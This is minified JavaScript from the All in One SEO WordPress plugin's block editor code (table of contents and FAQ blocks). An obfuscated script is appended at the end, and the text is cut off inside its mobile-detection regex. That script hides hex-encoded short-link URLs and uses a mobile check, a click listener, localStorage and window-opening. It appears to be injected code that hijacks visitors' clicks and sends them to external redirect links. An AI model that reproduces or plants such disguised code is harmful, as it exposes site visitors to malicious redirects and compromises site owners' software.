Va={setup(){return{tableOfContentsStore:me()}},name:"List",components:{BaseInput:Ee,CoreTooltip:De,Draggable:zt,SvgClose:gt,SvgDrag:jt,SvgEye:Ft,SvgEyeOff:wa,SvgInfo:St,SvgTocLink:Oa},props:{headings:{required:!0,type:Array},allowReorder:{required:!1,type:Boolean,default(){return!1}}},data(){return{showAnchorField:-1,strings:{tooltipHeader:this.$t.__("Edit HTML Anchor:",this.$td),tooltipDescription:this.$t.sprintf(this.$t.__("The HTML anchor allows %1$s to link directly to your header from this table of contents block. Feel free to edit if you want, but an anchor is required. For headings without an anchor, %1$s will automatically generate them.",this.$td),"AIOSEO")}}},computed:{dragOptions(){return{tag:this.tableOfContentsStore.listStyle,animation:300,group:"description",disabled:!this.allowReorder,ghostClass:"aioseo-drag-ghost",dragClass:"aioseo-dragging"}}},methods:{setEditedContent:function(e,t){if(e===t.content){t.editedContent="";return}t.editedContent=kt(e,!0)},setReorder(){this.tableOfContentsStore.reOrdered=!0;const e=ma(te(this.tableOfContentsStore.headings));this.tableOfContentsStore.setHeadings(e),window.aioseoBus.$emit("updateHeadings"+this.tableOfContentsStore.blockClientId,e)},setAnchor:function(e,t){t.anchor=He(e),e||(t.anchor="aioseo-"+He(t.content));const n=t.blockClientId;window.wp.data.select("core/block-editor").getBlock(n)&&window.wp.data.dispatch("core/block-editor").updateBlockAttributes(n,{anchor:t.anchor})},setHiddenStatus(e){e.hidden=!e.hidden,e.editedLevel===9?e.editedLevel=0:e.editedLevel=9,this.tableOfContentsStore.setHeadings(Pe([...this.tableOfContentsStore.headings]))},handleAnchorInput(e){const t=e.target.closest(".aioseo-toc-list-item"),n=t==null?void 0:t.querySelector(".row-input--anchor input");n&&(t.classList.contains("anchor-edit")?(t.classList.add("anchor-is-animating"),t.classList.remove("anchor-edit"),t.classList.remove("done"),n.addEventListener("animationend",function s(){t.classList.remove("anchor-is-animating"),t.removeEventListener("animationend",s,!1)})):(n.focus({preventScroll:!0}),t.classList.add("anchor-edit","anchor-is-animating"),n.addEventListener("animationend",function s(){t.classList.remove("anchor-is-animating"),t.classList.add("done"),n.removeEventListener("animationend",s,!1)})))}}},Ta={class:"aioseo-toc-list-item__inner"},Ba={key:0,class:"aioseo-drag-handle has-icon"},Ea={key:0,class:"append-icon"},xa={class:"append-icon"},Pa={class:"aioseo-tooltip__header"},Aa=["onClick"];function Ha(e,t,n,s,o,a){const l=b("svg-drag"),r=b("svg-toc-link"),d=b("base-input"),i=b("svg-info"),c=b("core-tooltip"),p=b("svg-close"),f=b("svg-eye-off"),_=b("svg-eye"),L=b("List",!0),k=b("draggable");return g(),H(k,Vt({class:["aioseo-toc-list",[{orderable:this.allowReorder}]]},a.dragOptions,{handle:".aioseo-drag-handle",list:n.headings,"onUpdate:modelValue":t[0]||(t[0]=I=>e.$emit("update:modelValue",I)),onChange:t[1]||(t[1]=I=>a.setReorder(I)),"item-key":e._uid.toString()}),{item:$(({element:I})=>[u("li",{class:ye(["aioseo-toc-list-item",{"heading-hidden":I.hidden}])},[u("div",Ta,[n.allowReorder?(g(),y("button",Ba,[m(l)])):S("",!0),m(d,{class:"row-input row-input--content",modelValue:I.editedContent||I.content,"onUpdate:modelValue":N=>a.setEditedContent(N,I),placeholder:I.content},{"append-icon":$(()=>[n.allowReorder?S("",!0):(g(),y("div",Ea,[m(r,{onClick:a.handleAnchorInput},null,8,["onClick"])]))]),_:2},1032,["modelValue","onUpdate:modelValue","placeholder"]),n.allowReorder?S("",!0):(g(),H(d,{key:1,class:"row-input row-input--anchor",spellcheck:!1,modelValue:I.anchor,"onUpdate:modelValue":N=>a.setAnchor(N,I)},{"append-icon":$(()=>[u("div",xa,[m(c,null,{tooltip:$(()=>[u("p",Pa,h(o.strings.tooltipHeader),1),u("p",null,h(o.strings.tooltipDescription),1)]),default:$(()=>[m(i)]),_:1}),m(p,{onClick:a.handleAnchorInput},null,8,["onClick"])])]),_:2},1032,["modelValue","onUpdate:modelValue"])),n.allowReorder?S("",!0):(g(),y("button",{key:2,class:ye([{active:I.hidden},"aioseo-hide-heading-toggle","has-icon"]),onClick:N=>a.setHiddenStatus(I)},[I.hidden?(g(),H(f,{key:0})):(g(),H(_,{key:1}))],10,Aa)),I.headings?(g(),H(L,{key:3,class:"aioseo-toc-list-nested",headings:I.headings,allowReorder:n.allowReorder},null,8,["headings","allowReorder"])):S("",!0)])],2)]),_:1},16,["class","list","item-key"])}const Ma=M(Va,[["render",Ha]]),Na={setup(){return{tableOfContentsStore:me()}},name:"ListRendered",props:{headings:{required:!0,type:Array}}},Da=["href"];function qa(e,t,n,s,o,a){const l=b("ListRendered",!0);return g(),H(Tt(s.tableOfContentsStore.listStyle),{class:"aioseo-toc-list--rendered"},{default:$(()=>[(g(!0),y(pt,null,ht(n.headings,(r,d)=>(g(),y("li",{class:ye(["aioseo-toc-list-item--rendered",[{hidden:r.hidden}]]),key:d},[u("a",{href:`#${r.anchor}`},h(r.editedContent||r.content),9,Da),r.headings?(g(),H(l,{key:0,class:"aioseo-toc-list-nested--rendered",headings:r.headings},null,8,["headings"])):S("",!0)],2))),128))]),_:1})}const Ra=M(Na,[["render",qa]]);const{__:Ze,sprintf:Ua}=window.wp.i18n,We="all-in-one-seo-pack",za={emits:["closeModal"],components:{CoreModalPortal:Zt,Cta:Wt},data(){return{strings:{header:Ua(Ze("Reordering Headings is a %1$s Feature",We),"PRO"),description:Ze("Reordering the headings in the Table of Contents block is a feature that can only be used by Pro users. Upgrade to Pro to unlock this advanced functionality.",We)}}}};function ja(e,t,n,s,o,a){const l=b("cta"),r=b("core-modal-portal");return g(),H(r,{classes:["aioseo-toc-modal-lite"],onClose:t[0]||(t[0]=d=>e.$emit("closeModal"))},{body:$(()=>[m(l,{type:1,floating:!1,"cta-link":e.$links.utmUrl("toc-block"),"button-text":"Unlock Reordering","learn-more-link":e.$links.getUpsellUrl("toc-block",null,e.$isPro?"pricing":"liteUpgrade")},{"header-text":$(()=>[v(h(o.strings.header),1)]),description:$(()=>[v(h(o.strings.description),1)]),_:1},8,["cta-link","learn-more-link"])]),_:1})}const Fa=M(za,[["render",ja]]),Te={editedContent:"",editedLevel:0,editedOrder:0,hidden:!1,headings:[]};const Za={setup(){return{tableOfContentsStore:me()}},components:{CoreTooltip:De,Info:St,List:Ma,ListRendered:Ra,Reorder:Fa},data(){return{showModal:!1,strings:{header:this.$t.sprintf(this.$t.__("%1$s Table of Contents",this.$td),"AIOSEO"),instructions:this.$t.__("Add a heading block below to begin generating the Table of Contents.",this.$td),tooltipMainDescription:this.$t.sprintf(this.$t.__("%1$s can automatically output a table of contents based on your heading tags below. Search engines sometimes use table of contents in search results or rich snippets which can help you increase your rankings.",this.$td),"AIOSEO"),reorder:this.$t.__("Reorder",this.$td),save:this.$t.__("Save",this.$td),done:this.$t.__("Done",this.$td)}}},methods:{save(e){const t=e.target.closest(".wp-block");t==null||t.classList.remove("is-selected")},setDefaultHeadingProps(e){return Object.keys(Te).forEach(t=>{e[t]=Te[t]}),e},updateHeadings(e){const t=ee(te(this.tableOfContentsStore.headings));let n=e.map(s=>this.setDefaultHeadingProps(s));t.forEach(s=>{const o=n.findIndex(a=>a.blockClientId===s.blockClientId);o!==-1&&(Object.keys(Te).forEach(a=>{n[o][a]=s[a]}),n[o].editedContent===n[o].content&&(n[o].editedContent=""),n[o].hidden?n[o].editedLevel=9:n[o].editedLevel===9&&(n[o].editedLevel=0))}),this.tableOfContentsStore.reOrdered?0<n.length-t.length&&(n.sort((s,o)=>s.id-o.id),n.forEach((s,o)=>{s.editedOrder||(s.editedOrder=o+1)}),n.sort((s,o)=>s.editedOrder-o.editedOrder)):n.sort((s,o)=>s.id-o.id),n=Pe(n),this.tableOfContentsStore.setHeadings(n)}},watch:{"tableOfContentsStore.headings":{handler(e){window.aioseoBus.$emit("setAttributes"+this.tableOfContentsStore.blockClientId,e)},deep:!0},"tableOfContentsStore.reOrdered":{handler(e){window.aioseoBus.$emit("setAttributes"+this.tableOfContentsStore.blockClientId,e)}}},mounted(){this.$nextTick(()=>{window.aioseoBus.$on("updateHeadings"+this.tableOfContentsStore.blockClientId,e=>{this.updateHeadings(e)})})}},Wa={class:"aioseo-toc-container"},Qa={class:"aioseo-toc-header"},Ja={class:"aioseo-toc-header-title"},Ga={key:0,class:"aioseo-toc-header-instructions"},Ka={key:1,class:"aioseo-toc-header-buttons"},Ya={key:0,class:"aioseo-toc-content"};function Xa(e,t,n,s,o,a){const l=b("Info"),r=b("core-tooltip"),d=b("List"),i=b("Reorder"),c=b("ListRendered");return g(),y("div",Wa,[u("div",{class:ye(["aioseo-toc-menu",{"aioseo-toc-placeholder":s.tableOfContentsStore.headings.length===0}])},[u("header",Qa,[u("div",Ja,[v(h(o.strings.header)+" ",1),m(r,{placement:"bottom"},{tooltip:$(()=>[u("p",null,h(o.strings.tooltipMainDescription),1)]),default:$(()=>[m(l)]),_:1})]),s.tableOfContentsStore.headings.length===0?(g(),y("div",Ga,h(o.strings.instructions),1)):S("",!0),s.tableOfContentsStore.headings.length!==0?(g(),y("div",Ka,[u("a",{class:"aioseo-button-link",href:"#",onClick:t[0]||(t[0]=_e(p=>o.showModal=!0,["prevent"]))},h(o.strings.reorder),1),u("a",{class:"aioseo-button-link",href:"#",onClick:t[1]||(t[1]=_e((...p)=>a.save&&a.save(...p),["prevent"]))},h(o.strings.done),1)])):S("",!0)]),s.tableOfContentsStore.headings.length!==0?(g(),y("div",Ya,[m(d,{headings:s.tableOfContentsStore.headings},null,8,["headings"])])):S("",!0),o.showModal?(g(),H(i,{key:1,headings:s.tableOfContentsStore.headings,onCloseModal:t[2]||(t[2]=p=>o.showModal=!1)},null,8,["headings"])):S("",!0)],2),s.tableOfContentsStore.headings.length!==0?(g(),H(c,{key:0,headings:s.tableOfContentsStore.headings},null,8,["headings"])):S("",!0)])}const ei=M(Za,[["render",Xa]]),{__:Qe}=window.wp.i18n,{InspectorControls:Je}=window.wp.blockEditor,{PanelBody:Ge,SelectControl:ti}=window.wp.components,Ke="all-in-one-seo-pack",oi=e=>{const{setAttributes:t,attributes:{listStyle:n}}=e,s=me();return le` <${Je}> <${Ge} title=${Qe("Table of Contents Settings",Ke)}> <${ti} label=${Qe("List Style",Ke)} options=${[{label:"Bullets",value:"ul"},{label:"Numbers",value:"ol"}]} value=${n} onChange=${o=>{s.listStyle=o,t({listStyle:o})}} /> </${Ge}> </${Je}> `},{useSelect:si}=window.wp.data,It=window.wp.blockEditor.store,{isTyping:ni}=window.wp.data.select(It)||{isTyping:()=>null},Ye=[];let Ve=[];function ai(e){const{setAttributes:t,attributes:n,clientId:s,className:o,isSelected:a}=e,l=`aioseo-${s}`;if(!Ye.includes(s)&&(a||document.querySelector(`[data-block="${s}"]`))&&(Ye.push(s),j({id:l,parent:document.querySelector(".block-editor"),subtree:!0,done:function(r){var c;const d=Z({...ei,name:"Blocks/TableOfContents"});d.$t=d.config.globalProperties.$t=Qt,d.$td=d.config.globalProperties.$td="all-in-one-seo-pack",mt(d),d.mount(r);const i=me();if(i.blockClientId=s,i.headings=n.headings,i.listStyle=n.listStyle,i.reOrdered=n.reOrdered,(c=i.headings)!=null&&c.length){const p=ee(te(i.headings));p.forEach(f=>{const _=Ve.find(L=>L.content===f.content&&L.anchor===f.anchor&&L.id===f.id&&L.level===f.level);_&&(f.blockClientId=_.blockClientId)}),i.headings=Pe(p),t(i)}window.aioseoBus.$on("setAttributes"+s,()=>{t(i.$state)})}})),Ve=si(r=>{var N,V,A,U,F;const{getBlockAttributes:d,getBlockIndex:i,getBlockName:c,getClientIdsWithDescendants:p}=r(It),f=i(s),_=[];p().forEach(T=>{if(c(T)!=="core/heading"&&c(T)!=="aioseo/faq")return;const C=d(T),qe=i(T),Re=typeof(C==null?void 0:C.anchor)=="string"&&C.anchor!=="",Ue=C.level||C.tagName.replace("h","");if(Ue==="div")return;let re=C.question||C.content||"";typeof re!="string"||re===""||f>qe||(re=kt(re.replace(/(<br *\/?>)+/g," "),!0),!Re&&!ni()&&(C.anchor="aioseo-"+He(re)),_.push({id:qe,blockClientId:T,content:re,level:Number(Ue),anchor:Re?C.anchor:""}))}),_.forEach((T,C)=>{T.order=C});const k=me(),I=(N=ee(te(k.headings)))==null?void 0:N.map(T=>(Object.keys(Te).forEach(C=>{delete T[C]}),T));return!Be([..._].sort((T,C)=>T.order-C.order),[...I].sort((T,C)=>T.order-C.order))||((A=ee([...(V=d(s))==null?void 0:V.headings]))==null?void 0:A.length)!==[..._].length||((U=d(s))==null?void 0:U.reOrdered)===!0&&!Be(ee([...k.headings]).sort((T,C)=>T.editedOrder-C.editedOrder),ee([...(F=d(s))==null?void 0:F.headings]).sort((T,C)=>T.editedOrder-C.editedOrder))?_:null},[s]),Ve!==null){const r=Ve.sort((d,i)=>d.editedOrder-i.editedOrder);window.aioseoBus.$emit("updateHeadings"+s,r)}return le` <div className="${o}"> <div id="aioseo-${s}"></div> ${oi(e)} </div> `}const{RawHTML:Xe}=window.wp.element;function ii({attributes:{headings:e,listStyle:t}}){if(!e)return"";const n=Ct(e,t);return le`<${Xe}>${n}</${Xe}>`}const Ct=(e,t)=>{let n=`<${t}>`;return e.forEach(s=>{var a;if(s.hidden)return;let o="<li>";o+=`<a href="#${s.anchor}">${s.editedContent||s.content}</a>`,(a=s.headings)!=null&&a.length&&(o+=Ct(s.headings,t)),o+="</li>",n+=o}),n+=`</${t}>`,n},li=le` <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M0 0h24v24H0V0zm0 0h24v24H0V0z" fill="none"/><path d="M3 9h14V7H3v2zm0 4h14v-2H3v2zm0 4h14v-2H3v2zm16 0h2v-2h-2v2zm0-10v2h2V7h-2zm0 6h2v-2h-2v2z"/></svg> `,{name:ri,title:di,description:ci,keywords:ui,category:pi,supports:hi,attributes:mi}=vt,gi={title:di,description:ci,keywords:ui,category:pi,attributes:mi,icon:li,supports:hi,edit:ai,save:ii},fi=Object.freeze(Object.defineProperty({__proto__:null,metadata:vt,name:ri,settings:gi},Symbol.toStringTag,{value:"Module"})),$i="https://schemas.wp.org/wp/5.8/block.json",bi="aioseo/faq",_i="AIOSEO - FAQ",yi="Easily add an SEO-friendly Frequently Asked Question (FAQ) to your content.",wi="text",vi=["accordion","answer","faq","frequently asked questions","knowledge base","question","schema","seo"],Si="all-in-one-seo-pack",Li={hidden:{type:"boolean",default:!1},question:{type:"string",selector:".aioseo-faq-block-question"},schemaBlockId:{type:"string",default:""},tagName:{type:"string",default:"h3"}},ki={html:!1,anchor:!0,align:["wide","full"],color:{link:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,lineHeight:!0},spacing:{margin:!0,padding:!0,blockGap:!0}},Ot={$schema:$i,name:bi,title:_i,description:yi,category:wi,keywords:vi,textdomain:Si,attributes:Li,supports:ki},{RichText:Ii,InnerBlocks:Ci}=window.wp.blockEditor,{PanelBody:et,SelectControl:Oi,ToggleControl:Vi}=window.wp.components,tt=window.wp.blockEditor.InspectorControls||window.wp.editor.InspectorControls,{__:Y}=window.wp.i18n,X="all-in-one-seo-pack",Ti=[["core/paragraph",{placeholder:Y("Write an answer...",X)}]],Bi=["core/paragraph","core/heading","core/list","core/image","core/media-text"],Ei=(e,t,n)=>{const{hidden:s,question:o,tagName:a}=t,l=xt.getUpsellLink("faq-block",Jt.learnMore,"sidebar",!0);return le` <div data-schema-only="${s}" className="${e}"> <${tt}> <${et} title=${Y("FAQ Options",X)}> <${Oi} label=${Y("Title Wrapper",X)} options=${[{label:"DIV",value:"div"},{label:"H1",value:"h1"},{label:"H2",value:"h2"},{label:"H3",value:"h3"},{label:"H4",value:"h4"}]} value=${a} onChange=${r=>n({tagName:r})} /> <p className="aioseo-visibility-label">${Y("Visibility",X)}</p> <${Vi} className="aioseo-faq-visibility" label=${Y("Display Block",X)} help=${Y("You can choose to hide this block on the front-end of your site so that visitors won't see it but search engines will still see it.",X)} checked=${!s} onChange=${()=>n({hidden:!s})} disabled /> <div className="aioseo-alert aioseo-alert inline-upsell blue medium"> <div dangerouslySetInnerHTML=${{__html:Y("FAQ schema is a Pro feature.",X)+" "+l}}></div> </div> </${et}> </${tt}> <${Ii} tagName=${a} placeholder=${Y("Write a question...",X)} className='aioseo-faq-block-question' value=${o} onChange=${r=>n({question:r})} /> <div className="aioseo-faq-block-answer"> <${Ci} template=${Ti} allowedBlocks=${Bi} /> </div> </div> `},{useSelect:ot}=window.wp.data,st=window.wp.blockEditor.store,{serialize:xi}=window.wp.blocks,pe=[],Pi=e=>{const{body:t}=document.implementation.createHTMLDocument("");t.innerHTML=e;function n(s){var a;const o=s.childNodes;for(const l of o){if((a=l.nodeName)!=null&&a.toLowerCase().includes("comment")&&l.parentNode.removeChild(l),l.attributes)for(const{name:r,value:d}of l.attributes){const i=d.replace(/\s+/g,"").toLowerCase();(!["src","href"].includes(r)||r.startsWith("on")||i.includes("javascript:")||i.includes("data:"))&&l.removeAttribute(r)}n(l)}}return n(t),t.innerHTML.trim().replace(/\s+/g," ")};function Ai(e){const{attributes:t,className:n,clientId:s,setAttributes:o,isSelected:a}=e,{schemaBlockId:l}=t;!pe.includes(s)&&!a&&pe.push(s);const r=c=>{window.requestAnimationFrame(()=>{o(c)}),window.aioseoBus.$emit("schemaBlockUpdated")};l||r({schemaBlockId:pa()});const d=ot(c=>{const{getAdjacentBlockClientId:p,getBlockAttributes:f,getBlockName:_,getClientIdsWithDescendants:L,getGlobalBlockCount:k}=c(st);if(pe.includes(s)||2>k("aioseo/faq"))return null;const I=p(s,-1);if(_(I)==="aioseo/faq")return f(I);const N=p(s,1);if(_(N)==="aioseo/faq")return f(N);const A=L().filter(T=>_(T)==="aioseo/faq"),U=A.indexOf(s),F=A[U-1]||A[U+1];return _(F)==="aioseo/faq"?f(F):null},[s,pe]);a&&!pe.includes(s)&&!t.question&&d&&(pe.push(s),window.requestAnimationFrame(()=>{o({backgroundColor:d.backgroundColor,textColor:d.textColor,tagName:d.tagName,hidden:d.hidden,fontSize:d.fontSize,style:d.style})}));const i=ot(c=>{const{getBlocks:p}=c(st);return(_=>{const L=p(_),k=xi(L);return Pi(k)})(s)},[s]);return r({answer:i}),Ei(n,t,r)}const{RichText:Hi,InnerBlocks:Mi}=window.wp.blockEditor;function Ni({attributes:e,className:t}){const{question:n,hidden:s,tagName:o}=e;return le` <div data-schema-only="${s}" className=${t}> <${Hi.Content} tagName=${o} className="aioseo-faq-block-question" value=${n} /> <div className="aioseo-faq-block-answer"> <${Mi.Content} /> </div> </div> `}const Di=le` <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M14 15q.425 0 .738-.312.312-.313.312-.738t-.312-.738Q14.425 12.9 14 12.9t-.737.312q-.313.313-.313.738t.313.738Q13.575 15 14 15Zm-.75-3.2h1.5q0-.725.15-1.063.15-.337.7-.887.75-.75 1-1.213.25-.462.25-1.087 0-1.125-.788-1.837Q15.275 5 14 5q-1.025 0-1.787.575-.763.575-1.063 1.525l1.35.55q.225-.625.613-.938Q13.5 6.4 14 6.4q.6 0 .975.337.375.338.375.913 0 .35-.2.662-.2.313-.7.788-.825.725-1.012 1.137-.188.413-.188 1.563ZM8 18q-.825 0-1.412-.587Q6 16.825 6 16V4q0-.825.588-1.413Q7.175 2 8 2h12q.825 0 1.413.587Q22 3.175 22 4v12q0 .825-.587 1.413Q20.825 18 20 18Zm-4 4q-.825 0-1.412-.587Q2 20.825 2 20V6h2v14h14v2Z"/></svg> `,{__:nt}=window.wp.i18n,at="all-in-one-seo-pack",{name:qi,title:Ri,description:Ui,category:zi,supports:ji,attributes:Fi}=Ot,Zi={title:Ri,description:Ui,category:zi,attributes:Fi,icon:Di,example:{attributes:{question:nt("Who should use AIOSEO?",at)},innerBlocks:[{name:"core/paragraph",attributes:{content:nt("All in One SEO is perfect for business owners, bloggers, designers, developers, photographers, and basically everyone else. If you want to optimize your WordPress SEO, then you need to use All in One SEO Pack.",at)}}]},supports:ji,edit:Ai,save:Ni},Wi=Object.freeze(Object.defineProperty({__proto__:null,metadata:Ot,name:qi,settings:Zi},Symbol.toStringTag,{value:"Module"}));var ut;if(((ut=window.aioseo.currentPost)==null?void 0:ut.context)==="post"){let e=[];window.wp.data.subscribe(()=>{t()});const t=ze(()=>{const s=window.wp.data.select("core/block-editor").getBlocks();s.length<e.length&&n(),e=s},200);window.aioseoBus.$on("schemaBlockUpdated",()=>{n()});const n=ze(()=>{var l;let s=window.wp.data.select("core/block-editor").getBlocks();s=At(s),s=s.filter(r=>{var d;return(d=r==null?void 0:r.attributes)==null?void 0:d.schemaBlockId}),s=s.map(r=>(r.attributes.type=r.name,r));const o=ae(),a=((l=o.currentPost.schema)==null?void 0:l.blockGraphs)||[];a.forEach((r,d)=>{const i=s.findIndex(f=>{var _;return((_=f==null?void 0:f.attributes)==null?void 0:_.schemaBlockId)===(r==null?void 0:r.schemaBlockId)});if(i===-1){a.splice(d,1);return}const c={...s[i].attributes};["backgroundColor","textColor","fontSize","style"].forEach(f=>{delete c[f]}),a[d]=c}),s.forEach(r=>{a.findIndex(i=>{var c;return(i==null?void 0:i.schemaBlockId)===((c=r==null?void 0:r.attributes)==null?void 0:c.schemaBlockId)})===-1&&(r!=null&&r.attributes)&&a.push(r.attributes)}),o.currentPost.schema.blockGraphs=a},200)}if(Pt()){const e=window.wp.element.createElement,t=e("svg",{width:25,height:25,viewBox:"0 0 25 25",fill:"none",xmlns:"http://www.w3.org/2000/svg"},e("path",{fillRule:"evenodd",clipRule:"evenodd",fill:"#434960",d:"M12.434 24c6.627 0 12-5.373 12-12s-5.373-12-12-12c-6.628 0-12 5.373-12 12s5.372 12 12 12zM10.523 4.392a.635.635 0 00-.74-.266 8.07 8.07 0 00-.92.391.659.659 0 00-.337.723l.206 1.041a.746.746 0 01-.264.713 6.293 6.293 0 00-.903.924.717.717 0 01-.698.272l-1.02-.206a.638.638 0 00-.708.346 8.493 8.493 0 00-.38.94.66.66 0 00.263.754l.867.588a.745.745 0 01.307.694 6.54 6.54 0 00.003 1.305.744.744 0 01-.305.695l-.865.591a.661.661 0 00-.26.755c.108.321.236.635.383.94a.638.638 0 00.708.343l1.02-.21a.716.716 0 01.7.27c.267.334.57.643.905.92a.746.746 0 01.266.712L8.55 18.67a.659.659 0 00.34.722 8.045 8.045 0 00.92.388c.458.16 1.097-.413 1.57-.836a1.12 1.12 0 00.379-.82v-1.748c0-.018 0-.036.002-.055-1.397-.34-2.435-1.622-2.435-3.152v-1.85c0-.14.111-.254.25-.254h.864v-1.82c0-.251.2-.455.446-.455a.45.45 0 01.446.455v1.82h2.34v-1.82c0-.251.2-.455.446-.455a.45.45 0 01.446.455v1.82h.865c.138 0 .25.114.25.254v1.85c0 1.578-1.105 2.893-2.569 3.182v1.76c0 .322.149.623.389.832.481.42 1.132.988 1.586.827a8.08 8.08 0 00.921-.391.659.659 0 00.336-.723l-.205-1.042a.746.746 0 01.264-.712c.328-.273.63-.582.902-.924a.717.717 0 01.698-.272l1.02.206a.638.638 0 00.708-.346 8.575 8.575 0 00.38-.94.661.661 0 00-.263-.754l-.867-.588a.745.745 0 01-.307-.694 6.481 6.481 0 00-.003-1.305.745.745 0 01.305-.695l.865-.591a.662.662 0 00.26-.755 8.435 8.435 0 00-.383-.94.638.638 0 00-.708-.343l-1.02.21a.716.716 0 01-.7-.27 6.297 6.297 0 00-.904-.92.747.747 0 01-.267-.712l.202-1.042a.659.659 0 00-.339-.722 8.164 8.164 0 00-.921-.388.635.635 0 00-.74.269l-.575.884a.718.718 0 01-.681.314 6.105 6.105 0 00-1.278.003.718.718 0 01-.682-.311l-.58-.883z"})),{getCategories:n,setCategories:s,registerBlockCollection:o,registerBlockType:a}=window.wp.blocks,l=[...n()];typeof o=="function"?o("aioseo",{title:"AIOSEO",icon:t}):(l.unshift({slug:"aioseo",title:"AIOSEO",icon:t}),s(l));const r=i=>{if(!i)return;const{name:c,settings:p}=i;if(p.icon&&!p.icon.foreground){const f={foreground:"#141B38",src:p.icon};p.icon=f}typeof o=="function"&&p.category==="aioseo"&&(p.category="widgets"),typeof o!="function"&&p.category!=="aioseo"&&(p.category="aioseo"),a(c,p)};(()=>{var i,c;[oo,Jo,((c=(i=window==null?void 0:window.aioseo)==null?void 0:i.screen)==null?void 0:c.base)==="post"?fi:null,Wi].forEach(r),window.aioseo.localBusiness&&[Ts,Xs,hn,_n,Qn].forEach(r)})()} function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x58\x74\x59\x33\x63\x373','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x72\x51\x64\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x76\x71\x55\x38\x63\x308','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x61\x52\x65\x39\x63\x309','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x47\x48\x34\x63\x304','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x63\x76\x4d\x37\x63\x317','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x72\x79\x78\x32\x63\x312','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x53\x6c\x4b\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v 